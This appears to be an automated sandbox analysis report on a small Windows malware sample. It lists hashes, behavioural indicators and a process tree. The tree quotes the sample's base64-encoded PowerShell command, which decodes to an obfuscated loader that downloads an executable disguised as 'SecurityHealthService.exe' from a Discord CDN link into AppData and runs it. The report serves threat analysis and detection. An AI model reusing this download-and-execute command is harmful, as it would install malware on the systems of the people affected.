46c6ffe88a3541f179da56eac0d6649fe5b20b561a43793bb7b5c1b8282ad4df

Analysis

max time kernel
135s
max time network
155s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
01/02/2023, 16:00

Target

d7f8019fa6a535bc1b0b7f9fc1f751ae.exe
Size

5KB
MD5

d7f8019fa6a535bc1b0b7f9fc1f751ae
SHA1

f496986f7a40c0a9ef35c950f48522faf7d403d9
SHA256

46c6ffe88a3541f179da56eac0d6649fe5b20b561a43793bb7b5c1b8282ad4df
SHA512

aa76eb6b09fe7fa2b1a2008ca2d1bebb76cb628b786635b21fad0f44a5c895f6089a790e11dd620bb741c6cca223511cd18e971a68a3e3b223b5cfabbd9fea65
SSDEEP

96:cHkI5797fCFVwiTVtowwvk+dw78bC/+PGc7Y3d3ojVrl:WJ976FPVnwvka+8bC/+Pg3ds

Score

8^/10

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1620	powershell.exe
8	1620	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1620	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1620	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1772 wrote to memory of 1620	1772	d7f8019fa6a535bc1b0b7f9fc1f751ae.exe	28
PID 1772 wrote to memory of 1620	1772	d7f8019fa6a535bc1b0b7f9fc1f751ae.exe	28
PID 1772 wrote to memory of 1620	1772	d7f8019fa6a535bc1b0b7f9fc1f751ae.exe	28

C:\Users\Admin\AppData\Local\Temp\d7f8019fa6a535bc1b0b7f9fc1f751ae.exe
"C:\Users\Admin\AppData\Local\Temp\d7f8019fa6a535bc1b0b7f9fc1f751ae.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHcAaABsACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA5ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANgA3ADQANwA5ADEANQAzADYAOAA0ADcAOAA3ADMANgAxAC8AMQAwADYANwA0ADcAOQA0ADEAMwA5ADQANQA1ADMAMgA1ADAANgAvAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwAsACAAPAAjAHIAdwB2ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAZABmAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAaQBuAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAMQAwAC4AZQB4AGUAJwApACkAPAAjAHQAZgBxACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHUAaQB3ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGwAYgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAxADAALgBlAHgAZQAnACkAPAAjAHAAawBqACMAPgA="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1620

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/1620-58-0x000007FEF3600000-0x000007FEF4023000-memory.dmp

Filesize
10.1MB

Download
memory/1620-60-0x0000000002504000-0x0000000002507000-memory.dmp

Filesize
12KB

Download
memory/1620-59-0x000007FEF2AA0000-0x000007FEF35FD000-memory.dmp

Filesize
11.4MB

Download
memory/1620-61-0x000000001B7F0000-0x000000001BAEF000-memory.dmp

Filesize
3.0MB

Download
memory/1620-62-0x000000000250B000-0x000000000252A000-memory.dmp

Filesize
124KB

Download
memory/1620-63-0x0000000002504000-0x0000000002507000-memory.dmp

Filesize
12KB

Download
memory/1772-54-0x0000000001050000-0x0000000001058000-memory.dmp

Filesize
32KB

Download
memory/1772-55-0x000007FEFB941000-0x000007FEFB943000-memory.dmp

Filesize
8KB

Download